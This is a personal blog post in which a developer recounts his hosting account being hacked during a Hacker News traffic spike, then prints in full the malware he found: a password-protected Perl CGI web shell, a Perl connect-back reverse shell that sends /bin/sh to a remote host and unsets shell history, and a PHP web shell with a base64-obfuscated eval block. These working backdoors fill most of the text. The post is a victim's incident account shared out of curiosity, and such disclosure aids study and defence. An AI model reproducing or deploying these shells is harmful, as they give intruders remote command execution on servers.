Yesterday I wrote a blog boldly proclaiming one shouldn't be a quiet professional. I felt it wasn't very inspired and lacked a certain amount of substance, but the internet apparently had a different idea of its value.
All it took to get it on the frontpage of HackerNews was posting the link on twitter ... usually I have to beg, plead and promise sexual favours to people on IRC so they'd read my links and give them an upvote or two.
Happy day!
And it was going pretty well too until a few moments later I get a "call" from someone living on the same server as this blog ... "Your blog got hacked dude, you were killing the server, you're killed"
The what now?
By this time the link was thriving on frontpage and was gaining upvotes like a madman, even after it started throwing a 403 to everyone trying to read it was still gaining upvotes and from the best of my observations it was among the top five for at least an hour. Eventually it fell off the frontpage completely, but some people were still sharing the link around on twitter because they had apparently opened it hours ago before sharing.
Consequences
The consequences of being hacked are pretty simple: a lot of frustration on my part.
The more important consequences have to do with the fact I use this blog to drive traffic to hipstervision.org via that big link on the left and I use hipstervision to get job offers because it's currently the shiniest product I have to show. It actually works.
On top of that, I'm a total numbers geek. If I see a number, I want to make it better. Google analytics are that sort of number, I just love seeing those graphs go up.
So here's the deal, Google Analytics says 1584 people came to read my blog yesterday. Pretty good right?
Well, running a simple grep on yesterday's logs says that **6268 **were shown an ugly 403 error.
Six. Fucking. Thousand! That's more than I get in an average month (hey this is just a lame blog, I'm not used to traffic). And certainly not all of those were actual people but different spiders and automated things, but still, even if just half of those requests came from real people that's a pretty sucky thing to have happen.
I wonder how many would come if they could actually read the post ... some of them might like it enough to share it, some more might upvote it ... oh the possibilities are endless here.
Wtf happened
To be honest, I don't know exactly what happened. The sysadmin says my blog was causing a load of 70+, which I think is sysadmin talk for "trying to use 70-times more resources than are available" and was killing the server. He took a quick look, saw weird scripts on my account, and promptly killed everything.
He said thousands of requests per second were being made with my account, which is just odd. HN is popular, but not that popular.
I can't say I know when or why those scripts made it onto the server, creation times reported were somewhere around january ... why they would get activated at this particular time, is a mystery ...
Not entirely certain there's a lesson in all of this, being hacked just plain sucks and there's never a good time for going through such an affair.
Just to feed curiosity, and for future reference of sorts, here are the scripts I found laying about my home dir.
This was in the cgi-bin directory, now this directory doesn't exist anymore
#!/usr/bin/perl
use strict;
use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
use CGI qw(:standard escapeHTML);
my $vers = "BUTAS 1.1 TRME";
my $pwd = "BvR/DtaeLh5zw";
my $salt = substr($pwd, 0, 2);
my $ipwd = param("pwd");
my $epwd = crypt($ipwd, $salt);
my $npwd = crypt("", $salt);
my $cid2 = cookie("cid");
my $cid;
my $msg = " ";
my $command;
my $takbo;
my $lihim;
my $result;
$0="[khvcd]";
sub URLEncode {
my $theURL = $_[0];
$theURL =~ s/([\W])/"%" . uc(sprintf("%2.2x",ord($1)))/eg;
return $theURL;
}
if ($pwd eq $epwd) {
$cid = cookie(-name=>"cid", -value=>"1");
$cid2 = "1";
}
if ($epwd ne $npwd) {
$msg = "
<h1>Mukha Mo!</h1>
";
}
if (!($cid)) {
$cid = cookie( -name=>"cid", -value=>"0" );
}
$cid = cookie(-name=>"cid", -value=>$cid2);
print header( -COOKIE=>$cid ), start_html($vers);
if ($cid2 ne "1") {
print $msg;
print start_form();
print "The magic word is ";
print textfield( -name=>"pwd", -size=>"100");
print submit(-name=> 'submit_form', -value => 'Submit',);
print end_form;
print end_html;
exit(0);
}
print start_form();
if (param()){
$command = param("command");
$takbo = param("takbo");
$lihim = param("lihim");
}
print "
<h3>$vers</h3>
\n";
print "
<fieldset>\n
<legend>Input</legend>
\n\n";
print "EXEC: ";
print textfield( -name=>"takbo", -size=>"20", -value=>$takbo,);
print "\n";
print "PASS: ";
print textfield( -name=>"lihim", -size=>"20", -value=>$lihim,);
print "\n
\n";
print "Your Command ";
print textfield( -name=>"command", -size=>"100", -value=>"");
print "\n";
print submit(-name=> 'submit_form', -value => 'Submit Command',);
print "\n\n
</fieldset>
\n";
if (param()){
my $order;
$command = param("command");
$takbo = param("takbo");
$lihim = param("lihim");
if (($takbo ne "") && ($lihim ne "")) {
$order = $takbo ." " . $lihim . " " . URLEncode($command);
} else {
$order = $command;
}
$result = `$order`;
my $outtxt = "$result\n";
print "\n\n
<fieldset>\n\t
<legend>Output</legend>
\n\t";
print '<textarea cols="120" rows="25" readonly>';
print "\n";
print "$outtxt";
print "\n\t</textarea>\n
</fieldset>
\n";
}
print "\n";
print end_form;
print "\n\n<script type="\"text/javascript\""><!--mce:0--></script>\n";
print end_html;
These two were just laying about on their own
#!/usr/bin/perl
use IO::Socket;
#IRAN HACKERS SABOTAGE Connect Back Shell
#code by:LorD
#We Are :LorD-C0d3r-NT
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host
#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 2121
#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system = '/bin/sh';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF????? ??????
And a really interesting game.php
<!--?php
define('HELP_VERSION', '1.9');
eval(base64_decode('JHBhc3N3ZCA9IGFycmF5KCdyb290JyA9PiAnMTJiZWZiZmUxMDY4ZWZhMmQ2ODEzMTg4Y2I0OGY3OTYnKTsKCmlmICghaXNzZXQoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkgfHwKICAgICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKICAgICFpc3NldCgkcGFzc3dkWyRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ11dKSB8fAogICAgJHBhc3N3ZFskX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddXSAhPSBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKSB7CiAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iSEVMUCAxLjgiJyk7CiAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkJyk7CiAgJGF1dGhlbnRpY2F0ZWQgPSB0cnVlOwogIGVjaG8gIjxodG1sPjxoZWFkPjx0aXRsZT5BY2Nlc3MgRGVuaWVkPC90aXRsZT48L2hlYWQ+PGgxPkFjY2VzcyBkZW5pZWQ8L2gxPjxocj48Ym9keT48L2JvZHk+PC9odG1sPiI7CiAgZXhpdCgwKTsKCn0gZWxzZSB7CiAgJGF1dGhlbnRpY2F0ZWQgPSB0cnVlOwp9Cg=='));
header('Content-Type: text/html; charset=UTF-8');
echo '<?xml version="1.0" encoding="UTF-8"?-->' . "\n";
?>
HELP <?php echo HELP_VERSION ?>
<h3>HELP <!--?php echo HELP_VERSION ?--></h3>
<!--?php error_reporting (E_ALL); $work_dir = empty($_REQUEST['work_dir']) ? '' : $_REQUEST['work_dir']; $command = empty($_REQUEST['command']) ? '' : $_REQUEST['command']; $lihim = empty($_REQUEST['lihim']) ? '' : $_REQUEST['lihim']; $takbo = empty($_REQUEST['takbo']) ? '' : $_REQUEST['takbo']; $stderr = empty($_REQUEST['stderr']) ? '' : $_REQUEST['stderr']; if ($work_dir != '') { if ($command != '') { if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { if ($regs[1][0] == '/') { $new_dir = $regs[1]; } else { $new_dir = $work_dir . '/' . $regs[1]; } if (file_exists($new_dir) && is_dir($new_dir)) { $work_dir = $new_dir; } $command = ''; } } } if ($work_dir != '' && file_exists($work_dir) && is_dir($work_dir)) { chdir($work_dir); } $work_dir = getcwd(); ?-->
<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
<fieldset>
<legend>Input</legend>
Current working directory: <strong>
<!--?php
$work_dir_splitted = explode('/', substr($work_dir, 1));
echo '<a href="' . $_SERVER['PHP_SELF'] . '?work_dir=/" _mce_href="' . $_SERVER['PHP_SELF'] . '?work_dir=/"-->Root/';
if (!empty($work_dir_splitted[0])) {
$path = '';
for ($i = 0; $i < count($work_dir_splitted); $i++) {
$path .= '/' . $work_dir_splitted[$i];
printf('<a href="%s?work_dir=%s">%s</a>/',
$_SERVER['PHP_SELF'],
urlencode($path),
$work_dir_splitted[$i]);
}
}
?></strong>
EXEC: <input name="takbo" size="20" type="text" value="<?PHP echo $takbo ?>">
PASS: <input name="lihim" size="20" type="password" value="<?PHP echo $lihim ?>">
Choose new working directory:
<select name="work_dir">
<!--?php
$dir_handle = opendir($work_dir);
while ($dir = readdir($dir_handle)) {
if (is_dir($dir)) {
if ($dir == '.') {
echo "<option value=\"$work_dir\" selected="selected"-->Current Directory\n";
} elseif ($dir == '..') { if (strlen($work_dir) == 1) {
} elseif (strrpos($work_dir, '/') == 0) {
echo "<option value="\"/\"">Parent Directory</option>\n";
} else {
echo "<option value="\"".">Parent Directory</option>\n";
}
} else {
if ($work_dir == '/') {
echo "<option value="\"$work_dir$dir\"">$dir</option>\n";
} else {
echo "<option value="\"$work_dir/$dir\"">$dir</option>\n";
}
}
}
}
closedir($dir_handle);?></select>
Command: <input name="command" size="60" type="text">
Enable <code>stderr</code>-trapping?
<input name="stderr" type="checkbox"> />
<input name="submit_btn" type="submit" value="Execute Command">
</fieldset>
<fieldset>
<legend>Output</legend>
<textarea cols="120" rows="20" readonly><?php function shell_exec2($cmd){ if (!empty($cmd)){ $fp = popen($cmd,"r"); { $result = ""; while(!feof($fp)){$result.=fread($fp,1024);} pclose($fp); } } return convert_cyr_string($result,"d","w"); } if (!empty($command)) { if ($stderr) { $tmpfile = tempnam('/tmp', 'ses_6r'); $command .= " > $tmpfile 2>&1; cat $tmpfile; rm $tmpfile";
} elseif ($command == 'ls') {
$command .= ' -F';
}<p></p> if (!empty($takbo) && !empty($lihim)) {
$mycommand = $takbo . " " . $lihim . " ";
}<p></p> if (!empty($mycommand)) {
$mycommand .= urlencode($command);
} else {
$mycommand = $command;
}<p></p> echo htmlspecialchars(shell_exec2($mycommand), ENT_COMPAT, 'UTF-8');
}
?>
</textarea>
</fieldset>
</form>
<script type="text/javascript"><!--mce:1--></script>
Continue reading about Being hacked killed a 6k traffic spike on my blog yesterday
Semantically similar articles hand-picked by GPT-4
- I learned two things today 17.8.
- 5 months of blog traffic in 4 days
- Best blogging week I have ever had
- A lesson about client-side templating
- Numbers that baffle
Learned something new?
Read more Software Engineering Lessons from Production
I write articles with real insight into the career and skills of a modern software engineer. "Raw and honest from the heart!" as one reader described them. Fueled by lessons learned over 20 years of building production code for side-projects, small businesses, and hyper growth startups. Both successful and not.
Subscribe below 👇
Software Engineering Lessons from Production
Join Swizec's Newsletter and get insightful emails 💌 on mindsets, tactics, and technical skills for your career. Real lessons from building production software. No bullshit.
"Man, love your simple writing! Yours is the only newsletter I open and only blog that I give a fuck to read & scroll till the end. And wow always take away lessons with me. Inspiring! And very relatable. 👌"
Have a burning question that you think I can answer? Hit me up on twitter and I'll do my best.
Who am I and who do I help? I'm Swizec Teller and I turn coders into engineers with "Raw and honest from the heart!" writing. No bullshit. Real insights into the career and skills of a modern software engineer.
Want to become a true senior engineer? Take ownership, have autonomy, and be a force multiplier on your team. The Senior Engineer Mindset ebook can help 👉 swizec.com/senior-mindset. These are the shifts in mindset that unlocked my career.
Curious about Serverless and the modern backend? Check out Serverless Handbook, for frontend engineers 👉 ServerlessHandbook.dev
Want to Stop copy pasting D3 examples and create data visualizations of your own? Learn how to build scalable dataviz React components your whole team can understand with React for Data Visualization
Want to get my best emails on JavaScript, React, Serverless, Fullstack Web, or Indie Hacking? Check out swizec.com/collections
Did someone amazing share this letter with you? Wonderful! You can sign up for my weekly letters for software engineers on their path to greatness, here: swizec.com/blog
Want to brush up on your modern JavaScript syntax? Check out my interactive cheatsheet: es6cheatsheet.com
By the way, just in case no one has told you it yet today: I love and appreciate you for who you are ❤️